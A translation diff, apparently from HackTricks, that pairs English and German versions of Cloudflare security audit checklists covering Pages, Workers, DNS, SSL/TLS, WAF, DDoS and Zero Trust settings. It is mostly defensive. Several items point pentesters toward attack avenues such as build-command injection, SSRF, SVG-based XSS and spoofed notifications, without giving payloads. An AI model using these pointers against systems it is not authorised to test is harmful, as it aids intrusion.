||||
|
||||
### Domain Registration
|
||||
### Domainregistrierung
|
||||
|
||||
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
|
||||
- [ ] In **`Transfer Domains`** überprüfen, ob es nicht möglich ist, eine Domain zu übertragen.
|
||||
|
||||
Review each with:
|
||||
Überprüfen Sie jede mit:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
## Analytics
|
||||
## Analytik
|
||||
|
||||
_I couldn't find anything to check for a config security review._
|
||||
_Ich konnte nichts finden, um eine Sicherheitsüberprüfung der Konfiguration durchzuführen._
|
||||
|
||||
## Pages
|
||||
## Seiten
|
||||
|
||||
On each Cloudflare's page:
|
||||
Auf jeder Cloudflare-Seite:
|
||||
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
- [ ] Überprüfen Sie auf **sensible Informationen** im **`Build log`**.
|
||||
- [ ] Überprüfen Sie auf **sensible Informationen** im **Github-Repository**, das den Seiten zugewiesen ist.
|
||||
- [ ] Überprüfen Sie auf potenzielle Kompromittierungen des Github-Repos durch **Workflow-Befehlsinjektion** oder **pull_request_target**-Kompromittierung. Weitere Informationen auf der [**Github-Sicherheitsseite**](../github-security/).
|
||||
- [ ] Überprüfen Sie auf **anfällige Funktionen** im Verzeichnis `/fuctions` (falls vorhanden), überprüfen Sie die **Weiterleitungen** in der Datei `_redirects` (falls vorhanden) und **falsch konfigurierte Header** in der Datei `_headers` (falls vorhanden).
|
||||
- [ ] Überprüfen Sie auf **Schwachstellen** in der **Webseite** über **Blackbox** oder **Whitebox**, wenn Sie **auf den Code zugreifen** können.
|
||||
- [ ] In den Details jeder Seite `/<page_id>/pages/view/blocklist/settings/functions`. Überprüfen Sie auf **sensible Informationen** in den **`Umgebungsvariablen`**.
|
||||
- [ ] Überprüfen Sie auch auf der Detailseite den **Build-Befehl** und das **Stammverzeichnis** auf **potenzielle Injektionen**, um die Seite zu kompromittieren.
|
||||
|
||||
## **Workers**
|
||||
|
||||
On each Cloudflare's worker check:
|
||||
Überprüfen Sie bei jedem Cloudflare-Worker:
|
||||
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
- [ ] Die Trigger: Was löst den Worker aus? Kann ein **Benutzer Daten senden**, die vom Worker **verwendet** werden?
|
||||
- [ ] In den **`Einstellungen`** überprüfen Sie auf **`Variablen`**, die **sensible Informationen** enthalten.
|
||||
- [ ] Überprüfen Sie den **Code des Workers** und suchen Sie nach **Schwachstellen** (insbesondere an Stellen, an denen der Benutzer die Eingabe verwalten kann).
|
||||
- Überprüfen Sie auf SSRFs, die die angegebene Seite zurückgeben, die Sie kontrollieren können.
|
||||
- Überprüfen Sie XSS, die JS innerhalb eines SVG-Bildes ausführen.
|
||||
- Es ist möglich, dass der Worker mit anderen internen Diensten interagiert. Zum Beispiel kann ein Worker mit einem R2-Bucket interagieren, der Informationen speichert, die aus der Eingabe gewonnen wurden. In diesem Fall wäre es notwendig zu überprüfen, welche Möglichkeiten der Worker über den R2-Bucket hat und wie er aus der Benutzereingabe missbraucht werden könnte.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
> Beachten Sie, dass ein **Worker standardmäßig eine URL** wie `<worker-name>.<account>.workers.dev` erhält. Der Benutzer kann es auf eine **Subdomain** setzen, aber Sie können immer mit dieser **ursprünglichen URL** darauf zugreifen, wenn Sie sie kennen.
|
||||
|
||||
## R2
|
||||
|
||||
On each R2 bucket check:
|
||||
Überprüfen Sie bei jedem R2-Bucket:
|
||||
|
||||
- [ ] Configure **CORS Policy**.
|
||||
- [ ] Konfigurieren Sie die **CORS-Richtlinie**.
|
||||
|
||||
## Stream
|
||||
|
||||
TODO
|
||||
|
||||
## Images
|
||||
## Bilder
|
||||
|
||||
TODO
|
||||
|
||||
## Security Center
|
||||
## Sicherheitszentrum
|
||||
|
||||
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
|
||||
- [ ] Just **check this information** for security misconfigurations and interesting info
|
||||
- [ ] Wenn möglich, führen Sie einen **`Security Insights`**-**Scan** und einen **`Infrastructure`**-**Scan** durch, da sie **interessante Informationen** in Bezug auf die **Sicherheit** hervorheben werden.
|
||||
- [ ] Überprüfen Sie einfach diese Informationen auf Sicherheitsfehlkonfigurationen und interessante Infos.
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -83,56 +83,52 @@ TODO
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
## Bulk Redirects
|
||||
## Bulk-Weiterleitungen
|
||||
|
||||
> [!NOTE]
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
> Im Gegensatz zu [Dynamischen Weiterleitungen](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) sind [**Bulk-Weiterleitungen**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) im Wesentlichen statisch — sie unterstützen **keine Zeichenfolgenersetzungs**-Operationen oder regulären Ausdrücke. Sie können jedoch URL-Weiterleitungsparameter konfigurieren, die ihr URL-Matching-Verhalten und ihr Laufzeitverhalten beeinflussen.
|
||||
|
||||
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
|
||||
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
|
||||
- [ ] Überprüfen Sie, ob die **Ausdrücke** und **Anforderungen** für Weiterleitungen **Sinn machen**.
|
||||
- [ ] Überprüfen Sie auch auf **sensible versteckte Endpunkte**, die interessante Informationen enthalten.
|
||||
|
||||
## Notifications
|
||||
## Benachrichtigungen
|
||||
|
||||
- [ ] Check the **notifications.** These notifications are recommended for security:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
- [ ] Überprüfen Sie die **Benachrichtigungen.** Diese Benachrichtigungen werden für die Sicherheit empfohlen:
|
||||
- `Nutzungsbasierte Abrechnung`
|
||||
- `HTTP DDoS-Angriffsbenachrichtigung`
|
||||
- `Layer 3/4 DDoS-Angriffsbenachrichtigung`
|
||||
- `Erweiterte HTTP DDoS-Angriffsbenachrichtigung`
|
||||
- `Erweiterte Layer 3/4 DDoS-Angriffsbenachrichtigung`
|
||||
- `Flow-basiertes Monitoring: Volumetrischer Angriff`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Zugriff mTLS-Zertifikat-Ablaufbenachrichtigung`
|
||||
- `SSL für SaaS-Custom-Hostnamen-Benachrichtigung`
|
||||
- `Universelles SSL-Alert`
|
||||
- `Script Monitor Neue Codeänderungserkennung-Benachrichtigung`
|
||||
- `Script Monitor Neue Domain-Benachrichtigung`
|
||||
- `Script Monitor Neue bösartige Domain-Benachrichtigung`
|
||||
- `Script Monitor Neue bösartige Skript-Benachrichtigung`
|
||||
- `Script Monitor Neue bösartige URL-Benachrichtigung`
|
||||
- `Script Monitor Neue Skripte-Benachrichtigung`
|
||||
- `Script Monitor Neues Skript überschreitet maximale URL-Längenbenachrichtigung`
|
||||
- `Erweiterte Sicherheitsereignisbenachrichtigung`
|
||||
- `Sicherheitsereignisbenachrichtigung`
|
||||
- [ ] Überprüfen Sie alle **Ziele**, da es in den Webhook-URLs **sensible Informationen** (Basis-HTTP-Auth) geben könnte. Stellen Sie auch sicher, dass die Webhook-URLs **HTTPS** verwenden.
|
||||
- [ ] Als zusätzliche Überprüfung könnten Sie versuchen, eine **Cloudflare-Benachrichtigung** an eine dritte Partei zu **imitieren**, vielleicht können Sie irgendwie **etwas Gefährliches injizieren**.
|
||||
|
||||
## Manage Account
|
||||
## Konto verwalten
|
||||
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
- [ ] Es ist möglich, die **letzten 4 Ziffern der Kreditkarte**, die **Ablaufzeit** und die **Rechnungsadresse** in **`Billing` -> `Payment info`** zu sehen.
|
||||
- [ ] Es ist möglich, den **Plan-Typ** im Konto in **`Billing` -> `Subscriptions`** zu sehen.
|
||||
- [ ] In **`Members`** ist es möglich, alle Mitglieder des Kontos und ihre **Rolle** zu sehen. Beachten Sie, dass, wenn der Plan-Typ nicht Enterprise ist, nur 2 Rollen existieren: Administrator und Superadministrator. Wenn der verwendete **Plan Enterprise** ist, können [**weitere Rollen**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) verwendet werden, um das Prinzip der minimalen Berechtigung zu befolgen.
|
||||
- Daher wird empfohlen, wann immer möglich den **Enterprise-Plan** zu verwenden.
|
||||
- [ ] In Members ist es möglich zu überprüfen, welche **Mitglieder** **2FA aktiviert** haben. **Jeder** Benutzer sollte es aktiviert haben.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
> Beachten Sie, dass glücklicherweise die Rolle **`Administrator`** keine Berechtigungen zur Verwaltung von Mitgliedschaften gibt (**kann keine Berechtigungen erhöhen oder** neue Mitglieder einladen).
|
||||
|
||||
## DDoS Investigation
|
||||
## DDoS-Untersuchung
|
||||
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
[Überprüfen Sie diesen Teil](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
In jeder in Cloudflare konfigurierten TLD gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
|
||||
|
||||
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Overview
|
||||
### Übersicht
|
||||
|
||||
- [ ] Get a feeling of **how much** are the services of the account **used**
|
||||
- [ ] Find also the **zone ID** and the **account ID**
|
||||
- [ ] Ein Gefühl dafür bekommen, **wie viel** die Dienste des Kontos **genutzt** werden
|
||||
- [ ] Finde auch die **Zone-ID** und die **Kontonummer**
|
||||
|
||||
### Analytics
|
||||
### Analytik
|
||||
|
||||
- [ ] In **`Security`** check if there is any **Rate limiting**
|
||||
- [ ] In **`Sicherheit`** überprüfen, ob es eine **Ratenbegrenzung** gibt
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] Check **interesting** (sensitive?) data in DNS **records**
|
||||
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
|
||||
- [ ] Check for web pages that **aren't** **proxied**
|
||||
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
|
||||
- [ ] Check that **DNSSEC** is **enabled**
|
||||
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
|
||||
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
|
||||
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
|
||||
- [ ] Überprüfen Sie **interessante** (sensible?) Daten in den DNS-**Einträgen**
|
||||
- [ ] Überprüfen Sie auf **Subdomains**, die **sensible Informationen** nur basierend auf dem **Namen** enthalten könnten (wie admin173865324.domin.com)
|
||||
- [ ] Überprüfen Sie auf Webseiten, die **nicht** **proxied** sind
|
||||
- [ ] Überprüfen Sie auf **proxifizierte Webseiten**, die **direkt** über CNAME oder IP-Adresse **zugänglich** sind
|
||||
- [ ] Überprüfen Sie, dass **DNSSEC** **aktiviert** ist
|
||||
- [ ] Überprüfen Sie, dass **CNAME Flattening** in **allen CNAMEs** **verwendet** wird
|
||||
- Dies könnte nützlich sein, um **Subdomain-Übernahmeanfälligkeiten** zu **verbergen** und die Ladezeiten zu verbessern
|
||||
- [ ] Überprüfen Sie, dass die Domains [**nicht anfällig für Spoofing sind**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
|
||||
|
||||
### **Email**
|
||||
### **E-Mail**
|
||||
|
||||
TODO
|
||||
|
||||
@@ -36,82 +36,82 @@ TODO
|
||||
|
||||
### SSL/TLS
|
||||
|
||||
#### **Overview**
|
||||
#### **Übersicht**
|
||||
|
||||
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
|
||||
- [ ] The **SSL/TLS Recommender** should be enabled
|
||||
- [ ] Die **SSL/TLS-Verschlüsselung** sollte **Voll** oder **Voll (Streng)** sein. Jede andere wird irgendwann **Klartextverkehr** senden.
|
||||
- [ ] Der **SSL/TLS-Empfehlungsdienst** sollte aktiviert sein
|
||||
|
||||
#### Edge Certificates
|
||||
#### Edge-Zertifikate
|
||||
|
||||
- [ ] **Always Use HTTPS** should be **enabled**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
|
||||
- [ ] **Minimum TLS Version should be 1.2**
|
||||
- [ ] **TLS 1.3 should be enabled**
|
||||
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
|
||||
- [ ] **Certificate Transparency Monitoring** should be **enabled**
|
||||
- [ ] **Immer HTTPS verwenden** sollte **aktiviert** sein
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** sollte **aktiviert** sein
|
||||
- [ ] **Minimale TLS-Version sollte 1.2** sein
|
||||
- [ ] **TLS 1.3 sollte aktiviert** sein
|
||||
- [ ] **Automatische HTTPS-Umschreibungen** sollten **aktiviert** sein
|
||||
- [ ] **Zertifikatstransparenzüberwachung** sollte **aktiviert** sein
|
||||
|
||||
### **Security**
|
||||
### **Sicherheit**
|
||||
|
||||
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
|
||||
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
|
||||
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
|
||||
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
|
||||
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
|
||||
- [ ] In the **`Settings`** section:
|
||||
- [ ] Check that the **`Security Level`** is **medium** or greater
|
||||
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
|
||||
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
|
||||
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
|
||||
- [ ] Im **`WAF`**-Bereich ist es interessant zu überprüfen, ob **Firewall** und **Ratenbegrenzungsregeln verwendet werden**, um Missbrauch zu verhindern.
|
||||
- Die **`Bypass`**-Aktion wird die **Cloudflare-Sicherheits**-Funktionen für eine Anfrage **deaktivieren**. Sie sollte nicht verwendet werden.
|
||||
- [ ] Im **`Page Shield`**-Bereich wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine Seite verwendet wird
|
||||
- [ ] Im **`API Shield`**-Bereich wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine API in Cloudflare exponiert ist
|
||||
- [ ] Im **`DDoS`**-Bereich wird empfohlen, die **DDoS-Schutzmaßnahmen** zu aktivieren
|
||||
- [ ] Im **`Einstellungen`**-Bereich:
|
||||
- [ ] Überprüfen Sie, dass das **`Sicherheitsniveau`** **mittel** oder höher ist
|
||||
- [ ] Überprüfen Sie, dass die **`Challenge Passage`** maximal 1 Stunde beträgt
|
||||
- [ ] Überprüfen Sie, dass die **`Browser-Integritätsprüfung`** **aktiviert** ist
|
||||
- [ ] Überprüfen Sie, dass die **`Privacy Pass Support`** **aktiviert** ist
|
||||
|
||||
#### **CloudFlare DDoS Protection**
|
||||
#### **CloudFlare DDoS-Schutz**
|
||||
|
||||
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
|
||||
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
|
||||
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
|
||||
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
|
||||
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
|
||||
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
|
||||
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
|
||||
- In DDoS you could **override some rules to make them more restrictive**.
|
||||
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
|
||||
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
|
||||
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
|
||||
- Wenn möglich, aktivieren Sie den **Bot Fight Mode** oder den **Super Bot Fight Mode**. Wenn Sie eine API programmgesteuert (z. B. von einer JS-Frontend-Seite) schützen, können Sie dies möglicherweise nicht aktivieren, ohne den Zugriff zu beeinträchtigen.
|
||||
- In **WAF**: Sie können **Ratenlimits nach URL-Pfad** oder für **verifizierte Bots** (Ratenbegrenzungsregeln) erstellen oder den **Zugriff** basierend auf IP, Cookie, Referrer... **blockieren**. So könnten Sie Anfragen blockieren, die nicht von einer Webseite stammen oder kein Cookie haben.
|
||||
- Wenn der Angriff von einem **verifizierten Bot** kommt, fügen Sie mindestens ein **Ratenlimit** für Bots hinzu.
|
||||
- Wenn der Angriff auf einen **bestimmten Pfad** abzielt, fügen Sie als Präventionsmechanismus ein **Ratenlimit** in diesem Pfad hinzu.
|
||||
- Sie können auch IP-Adressen, IP-Bereiche, Länder oder ASNs aus den **Tools** in WAF **whitelisten**.
|
||||
- Überprüfen Sie, ob **verwaltete Regeln** auch helfen könnten, um die Ausnutzung von Schwachstellen zu verhindern.
|
||||
- Im **Tools**-Bereich können Sie **bestimmte IPs** und **Benutzeragenten blockieren oder eine Herausforderung stellen.**
|
||||
- In DDoS könnten Sie **einige Regeln überschreiben, um sie restriktiver zu machen**.
|
||||
- **Einstellungen**: Setzen Sie das **Sicherheitsniveau** auf **Hoch** und auf **Unter Angriff**, wenn Sie unter Angriff stehen und die **Browser-Integritätsprüfung aktiviert ist**.
|
||||
- In Cloudflare Domains -> Analytik -> Sicherheit -> Überprüfen Sie, ob die **Ratenbegrenzung** aktiviert ist
|
||||
- In Cloudflare Domains -> Sicherheit -> Ereignisse -> Überprüfen Sie auf **entdeckte bösartige Ereignisse**
|
||||
|
||||
### Access
|
||||
### Zugriff
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
### Speed
|
||||
### Geschwindigkeit
|
||||
|
||||
_I couldn't find any option related to security_
|
||||
_Ich konnte keine Option im Zusammenhang mit Sicherheit finden_
|
||||
|
||||
### Caching
|
||||
|
||||
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
|
||||
- [ ] Im **`Konfiguration`**-Bereich sollten Sie in Betracht ziehen, das **CSAM-Scanning-Tool** zu aktivieren
|
||||
|
||||
### **Workers Routes**
|
||||
### **Workers-Routen**
|
||||
|
||||
_You should have already checked_ [_cloudflare workers_](./#workers)
|
||||
_Sie sollten bereits_ [_cloudflare workers_](./#workers) _überprüft haben_
|
||||
|
||||
### Rules
|
||||
### Regeln
|
||||
|
||||
TODO
|
||||
|
||||
### Network
|
||||
### Netzwerk
|
||||
|
||||
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
|
||||
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
|
||||
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
|
||||
- [ ] Wenn **`HTTP/2`** **aktiviert** ist, sollte **`HTTP/2 zu Origin`** **aktiviert** sein
|
||||
- [ ] **`HTTP/3 (mit QUIC)`** sollte **aktiviert** sein
|
||||
- [ ] Wenn die **Privatsphäre** Ihrer **Benutzer** wichtig ist, stellen Sie sicher, dass **`Onion Routing`** **aktiviert** ist
|
||||
|
||||
### **Traffic**
|
||||
### **Verkehr**
|
||||
|
||||
TODO
|
||||
|
||||
### Custom Pages
|
||||
### Benutzerdefinierte Seiten
|
||||
|
||||
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
|
||||
- [ ] Es ist optional, benutzerdefinierte Seiten zu konfigurieren, wenn ein sicherheitsbezogenes Problem auftritt (wie eine Blockierung, Ratenbegrenzung oder Ich bin im Angriffsmodus)
|
||||
|
||||
### Apps
|
||||
|
||||
@@ -119,8 +119,8 @@ TODO
|
||||
|
||||
### Scrape Shield
|
||||
|
||||
- [ ] Check **Email Address Obfuscation** is **enabled**
|
||||
- [ ] Check **Server-side Excludes** is **enabled**
|
||||
- [ ] Überprüfen Sie, ob die **E-Mail-Adressenobfuskation** **aktiviert** ist
|
||||
- [ ] Überprüfen Sie, ob die **Serverseitigen Ausschlüsse** **aktiviert** sind
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
@@ -131,7 +131,3 @@ TODO
|
||||
TODO
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,43 +2,43 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
In einem **Cloudflare Zero Trust Network**-Konto gibt es einige **Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
|
||||
|
||||
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Analytics
|
||||
|
||||
- [ ] Useful to **get to know the environment**
|
||||
- [ ] Nützlich, um die **Umgebung** kennenzulernen
|
||||
|
||||
### **Gateway**
|
||||
|
||||
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
|
||||
- If used, **policies** could be created to **restrict** the access to malicious sites.
|
||||
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
|
||||
- [ ] In **`Policies`** ist es möglich, Richtlinien zu erstellen, um den Zugriff auf Anwendungen nach **DNS**, **Netzwerk** oder **HTTP**-Anfrage zu **beschränken**.
|
||||
- Wenn verwendet, könnten **Richtlinien** erstellt werden, um den Zugriff auf bösartige Seiten zu **beschränken**.
|
||||
- Dies ist **nur relevant, wenn ein Gateway verwendet wird**, andernfalls gibt es keinen Grund, defensive Richtlinien zu erstellen.
|
||||
|
||||
### Access
|
||||
|
||||
#### Applications
|
||||
|
||||
On each application:
|
||||
Bei jeder Anwendung:
|
||||
|
||||
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
|
||||
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
|
||||
- [ ] Check the **available identity providers** and make sure they **aren't too open**
|
||||
- [ ] Überprüfen, **wer** auf die Anwendung in den **Policies** zugreifen kann und sicherstellen, dass **nur** die **Benutzer**, die **Zugriff benötigen**, auf die Anwendung zugreifen können.
|
||||
- Um den Zugriff zu ermöglichen, werden **`Access Groups`** verwendet (und **zusätzliche Regeln** können ebenfalls festgelegt werden).
|
||||
- [ ] Überprüfen Sie die **verfügbaren Identitätsanbieter** und stellen Sie sicher, dass sie **nicht zu offen** sind.
|
||||
- [ ] In **`Settings`**:
|
||||
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
|
||||
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
|
||||
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
- [ ] Überprüfen, dass **CORS nicht aktiviert** ist (wenn es aktiviert ist, überprüfen, ob es **sicher** ist und nicht alles erlaubt).
|
||||
- [ ] Cookies sollten das Attribut **Strict Same-Site**, **HTTP Only** haben und **binding cookie** sollte **aktiviert** sein, wenn die Anwendung HTTP ist.
|
||||
- [ ] Erwägen Sie auch, **Browser Rendering** für besseren **Schutz** zu aktivieren. Weitere Informationen über **[**remote browser isolation hier**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
|
||||
#### **Access Groups**
|
||||
|
||||
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
|
||||
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
|
||||
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
|
||||
- [ ] Überprüfen, dass die generierten Zugriffsgruppen **korrekt auf die Benutzer beschränkt** sind, die sie zulassen sollten.
|
||||
- [ ] Es ist besonders wichtig zu überprüfen, dass die **Standardzugriffsgruppe nicht zu offen** ist (sie **erlaubt nicht zu viele Personen**), da standardmäßig jeder in dieser **Gruppe** auf **Anwendungen** zugreifen kann.
|
||||
- Beachten Sie, dass es möglich ist, **Zugriff** für **JEDEN** und andere **sehr offene Richtlinien** zu gewähren, die nicht empfohlen werden, es sei denn, es ist 100% notwendig.
|
||||
|
||||
#### Service Auth
|
||||
|
||||
- [ ] Check that all service tokens **expires in 1 year or less**
|
||||
- [ ] Überprüfen, dass alle Servicetoken **in 1 Jahr oder weniger ablaufen**
|
||||
|
||||
#### Tunnels
|
||||
|
||||
@@ -50,16 +50,12 @@ TODO
|
||||
|
||||
### Logs
|
||||
|
||||
- [ ] You could search for **unexpected actions** from users
|
||||
- [ ] Sie könnten nach **unerwarteten Aktionen** von Benutzern suchen
|
||||
|
||||
### Settings
|
||||
|
||||
- [ ] Check the **plan type**
|
||||
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
|
||||
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
|
||||
- [ ] Überprüfen Sie den **Plan-Typ**
|
||||
- [ ] Es ist möglich, den **Namen des Kreditkarteninhabers**, die **letzten 4 Ziffern**, das **Ablaufdatum** und die **Adresse** zu sehen.
|
||||
- [ ] Es wird empfohlen, eine **Benutzer-Sitzungsablauf** hinzuzufügen, um Benutzer zu entfernen, die diesen Dienst nicht wirklich nutzen.
